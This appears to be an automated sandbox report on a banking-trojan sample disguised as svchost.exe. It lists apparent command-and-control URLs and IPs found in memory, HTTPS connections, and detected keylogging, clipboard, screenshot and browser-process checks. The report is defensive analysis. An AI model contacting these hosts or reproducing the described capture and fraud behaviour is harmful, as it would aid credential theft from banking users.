Source: svchost.exe, 00000002.00000003.2337886081.00000000092C7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2337365737.0000000003363000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2337520424.0000000003368000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2337007716.00000000092BC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2337073481.0000000003360000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2601374159.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2336882213.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2571444797.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2335731822.00000000092BC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2612862437.00000000092B7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2335731822.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2337007716.00000000092B8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2336470104.0000000003356000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://vowycut.com/login.php
Source: svchost.exe, 00000002.00000003.2337886081.00000000092C7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2329364841.00000000092BD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2337007716.00000000092BC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2329971226.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2327922219.00000000092C0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2330522610.00000000092C6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2335731822.00000000092BC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2547959760.00000000092E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://vowygem.com/login.php
Source: svchost.exe, 00000002.00000003.2757808782.0000000003319000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2809409371.00000000040ED000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2364207806.0000000000852000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2814428917.00000000040FE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://vowyguf.com/login.php
Source: svchost.exe, 00000002.00000002.3428370692.00000000092EB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2919185604.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2380581815.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2380222392.00000000092E3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3287645590.00000000092EA000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2908725007.00000000040FB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2905696441.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3421967691.00000000040FF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3426788667.0000000009235000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://vowykat.com/login.php
Source: svchost.exe, 00000002.00000003.2649333466.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2347333934.0000000000851000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2347614295.0000000000853000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://vowykuc.com/login.php
Source: svchost.exe, 00000002.00000003.2376137841.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2879404289.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2379940773.00000000033EF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2376002854.000000000923B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2896263867.0000000000854000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2884058737.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2375028226.00000000033EF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2380116523.00000000033EF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://vowypim.com/login.php
Source: svchost.exe, 00000002.00000003.2513678339.0000000000853000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2310815345.0000000003368000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2527939785.0000000003368000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2542956129.0000000000853000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2523187509.0000000003363000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2513019694.0000000000851000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2512099666.0000000003360000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2506997946.0000000003363000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2499635923.0000000000855000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://vowyqoc.com/login.php
Source: svchost.exe, 00000002.00000003.2509683984.0000000003368000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2506997946.0000000003363000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://vowyqoc.com/login.phpcom/login.php
Source: svchost.exe, 00000002.00000003.2666875773.00000000040F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2678962210.00000000092E5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2760150538.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2693258532.00000000040FD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2667608142.00000000040FD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2667583572.00000000092E5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2665259102.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2667040821.00000000040FB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://vowyqyt.com/login.php
Source: svchost.exe, 00000002.00000003.2346403174.00000000092BD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2346603921.00000000092BD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2657780583.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2347033417.00000000092E3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2649350353.0000000000853000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2356885542.00000000092C6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2346691543.00000000092BE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2356000937.00000000092BE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2349309789.00000000092C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://vowyrif.com/login.php
Source: svchost.exe, 00000002.00000003.2376137841.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2885524752.0000000003360000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2376002854.000000000923B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3426788667.0000000009235000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://vowyzuf.com/login.php
Source: svchost.exe, svchost.exe, 00000002.00000003.2349422845.0000000003337000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2484846545.00000000093FA000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2384682570.0000000000862000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2192798228.0000000003353000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2341821696.000000000087E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2426275041.00000000093D7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3428810000.0000000009339000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2872175124.00000000093D5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2197190467.00000000033CC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2438909828.0000000004002000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2311814961.00000000033DD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2498561281.00000000093DA000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2485001954.000000000403F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2631989272.000000000087D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2609596121.0000000004038000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2341822099.00000000033E5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2288141655.0000000009241000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2212594747.0000000003353000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2710896493.00000000093D5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2337886081.00000000092C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.google.com
Source: svchost.exe, 00000002.00000003.2424064037.00000000093D7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2327976875.000000000938D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2916136120.000000000085D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2184929209.0000000003398000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2663819296.000000000405F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2498726255.0000000000866000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2422101023.000000000086D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2424064037.00000000093CB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2313143430.000000000333E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2498726255.000000000085D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2341534976.00000000033DF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2331956208.0000000009381000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2378287344.00000000093D0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2375586174.000000000333E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2707435720.000000000086B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2332355296.0000000009369000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2327967644.0000000009343000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2342713570.00000000093BC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2872705822.000000000403E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2482727801.000000000087E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2328466447.0000000009398000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.google.comt
Source: svchost.exe, 00000002.00000003.2376391418.0000000003342000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.google.comt.4
Source: svchost.exe, 00000002.00000003.2376391418.0000000003342000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.google.comt?4
Source: svchost.exe, 00000002.00000003.2192798228.0000000003353000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.google.comtE5
Source: svchost.exe, 00000002.00000003.2665909813.00000000093F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.google.comtG?
Source: svchost.exe, 00000002.00000003.2184232088.0000000009274000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.google.comtI
Source: svchost.exe, 00000002.00000003.2332355296.0000000009364000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2359070684.0000000009360000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.google.comtK6
Source: svchost.exe, 00000002.00000003.2314820342.0000000009323000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.google.comtQ2
Source: svchost.exe, 00000002.00000003.2341822099.00000000033E5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2356574315.00000000033E3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2356445392.00000000033E3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.google.comtW
Source: svchost.exe, 00000002.00000003.2498726255.0000000000866000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2384091479.0000000000866000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2902108476.0000000000866000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.google.comtf
Source: svchost.exe, 00000002.00000003.2853017937.0000000000873000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2379236460.000000000086F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2631989272.0000000000877000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2482727801.0000000000870000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.google.comtv
Source: svchost.exe, 00000002.00000003.2341822099.00000000033E5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.google.comty
Source: svchost.exe, 00000002.00000003.3279033707.00000000092FC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2665259102.00000000092FC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2884058737.00000000092FC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2381728153.00000000092FC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2760150538.00000000092FC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2649333466.00000000092FC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2380222392.00000000092FC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2919185604.00000000092FC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2547959760.00000000092FC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2343646996.00000000092FC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2422762232.00000000092FC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2425745567.00000000092FC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2310750407.00000000092FC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2291219253.00000000092FC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2346790386.00000000092FC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2347416587.00000000092FC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2637865779.00000000092FC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2343198568.00000000092FC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2667583572.00000000092FC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2635608953.00000000092FC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2678962210.00000000092FC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ampproject.org
Source: svchost.exe, 00000002.00000003.3279033707.00000000092FC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2665259102.00000000092FC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2884058737.00000000092FC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2760150538.00000000092FC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2649333466.00000000092FC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2919185604.00000000092FC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2547959760.00000000092FC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2422762232.00000000092FC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2425745567.00000000092FC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2396716330.000000000411C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2637865779.00000000092FC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2667583572.00000000092FC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2635608953.00000000092FC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2678962210.00000000092FC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2499628727.00000000092FC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3279365565.00000000092FC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2905696441.00000000092FC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2397665900.00000000092FC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2223831199.0000000003399000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2513835440.00000000092FC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2852112632.00000000092FC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dts.gnpge.com
Source: svchost.exe, 00000002.00000003.2426886771.00000000008CA000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2843240617.00000000008CA000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2502971875.00000000008CB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2880338954.00000000008CA000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2744698720.00000000008CB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2513007291.00000000008CA000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2291219253.00000000092FC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2287542216.0000000003348000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2288644022.0000000003349000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2607940447.00000000008CA000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2496966130.0000000000851000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2425973075.0000000004044000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2481852889.00000000040CD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3413265981.00000000008A2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3279237129.00000000008A2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3413922889.00000000008CC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lysyvan.com/login.php
Source: svchost.exe, 00000002.00000003.2223016601.00000000008A2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3279033707.00000000092FC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2252903965.00000000008D2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2665259102.00000000092FC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2884058737.00000000092FC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2386863203.0000000009307000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2384098860.0000000004069000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2760150538.00000000092FC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2649333466.00000000092FC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2192798228.0000000003351000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2919185604.00000000092FC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2547959760.00000000092FC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2422762232.00000000092FC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2843240617.00000000008D2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2425745567.00000000092FC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2212594747.0000000003351000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2387314869.00000000008D2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2513007291.00000000008D2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2400329976.0000000004065000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2202891284.0000000009304000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2322843013.00000000008D2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://qegyhig.com/login.php

Source: unknown	Network traffic detected: HTTP traffic on port 54645 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54647 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54664 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50210
Source: unknown	Network traffic detected: HTTP traffic on port 52120 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59248 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59249
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52120
Source: unknown	Network traffic detected: HTTP traffic on port 54680 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54680
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 54701 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54664
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50220
Source: unknown	Network traffic detected: HTTP traffic on port 59249 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54647
Source: unknown	Network traffic detected: HTTP traffic on port 50220 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54701
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54645
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52171
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59248
Source: unknown	Network traffic detected: HTTP traffic on port 52171 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50210 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748

Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:49748 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:49770 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:54645 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 75.2.71.199:443 -> 192.168.2.6:54647 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:54664 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:54680 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:54701 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 99.83.170.3:443 -> 192.168.2.6:52120 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:52171 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 99.83.170.3:443 -> 192.168.2.6:50210 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:50220 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:59249 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 99.83.170.3:443 -> 192.168.2.6:59248 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing

Contains functionality to capture and log keystrokes

Source: C:\Windows\apppatch\svchost.exe	Code function: [tab]	2_2_02C81B80
Source: C:\Windows\apppatch\svchost.exe	Code function: [del]	2_2_02C81B80
Source: C:\Windows\apppatch\svchost.exe	Code function: [del]	2_2_02C81B80
Source: C:\Windows\apppatch\svchost.exe	Code function: [ins]	2_2_02C81B80

Source: C:\Windows\apppatch\svchost.exe

Code function: 2_2_02C81E60 memset,GlobalLock,GetCurrentThreadId,GetGUIThreadInfo,GetOpenClipboardWindow,GetActiveWindow,WideCharToMultiByte,GetProcessHeap,HeapAlloc,memset,WideCharToMultiByte,GetProcessHeap,GetProcessHeap,HeapValidate,GetProcessHeap,HeapFree,GlobalUnlock,GlobalUnlock,

2_2_02C81E60

Source: C:\Windows\apppatch\svchost.exe	Code function: 2_2_02C78630 GlobalAlloc,GlobalLock,GlobalUnlock,OpenClipboard,GlobalFree,GetLastError,EmptyClipboard,SetClipboardData,CloseClipboard,	2_2_02C78630
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Code function: 6_2_01248630 GlobalAlloc,GlobalLock,GlobalUnlock,OpenClipboard,GlobalFree,GetLastError,EmptyClipboard,SetClipboardData,CloseClipboard,	6_2_01248630
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Code function: 7_2_01048630 GlobalAlloc,GlobalLock,GlobalUnlock,OpenClipboard,GlobalFree,GetLastError,EmptyClipboard,SetClipboardData,CloseClipboard,	7_2_01048630
Source: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe	Code function: 9_2_00A28630 GlobalAlloc,GlobalLock,GlobalUnlock,OpenClipboard,GlobalFree,GetLastError,EmptyClipboard,SetClipboardData,CloseClipboard,	9_2_00A28630

Source: C:\Windows\apppatch\svchost.exe

Code function: 2_2_02C93950 GetDesktopWindow,GetWindowDC,CreateCompatibleDC,PathAddBackslashA,GetDeviceCaps,GetDeviceCaps,GetDeviceCaps,CreateDIBSection,SelectObject,BitBlt,GetDesktopWindow,GetDC,GetProcessHeap,HeapAlloc,memset,GetDIBits,GetDIBits,WriteFile,ReleaseDC,

2_2_02C93950

Source: C:\Windows\apppatch\svchost.exe

Code function: 2_2_02C81B80 memset,GetProcessHeap,HeapAlloc,memset,GetProcessHeap,HeapValidate,GetProcessHeap,HeapReAlloc,GetKeyboardState,ToAscii,

2_2_02C81B80

E-Banking Fraud

Checks if browser processes are running

Source: C:\Windows\apppatch\svchost.exe	Code function: CreateToolhelp32Snapshot,Process32First,EnterCriticalSection,GetCurrentProcessId,StrStrIA,EnterCriticalSection,GetProcessHeap,HeapAlloc,LeaveCriticalSection,Process32Next,GetHandleInformation,CloseHandle, iexplore.exe\|opera.exe\|java.exe\|javaw.exe\|explorer.exe\|isclient.exe\|intpro.exe\|ipc_full.exe\|mnp.exe\|cbsmain.dll\|firefox.exe\|clmain.exe\|core.exe\|maxthon.exe\|avant.exe\|safari.exe\|svchost.exe\|chrome.exe\|notepad.exe\|rundll32.exe\|netscape.exe\|tbb-firefox.exe\|	2_2_02C86370
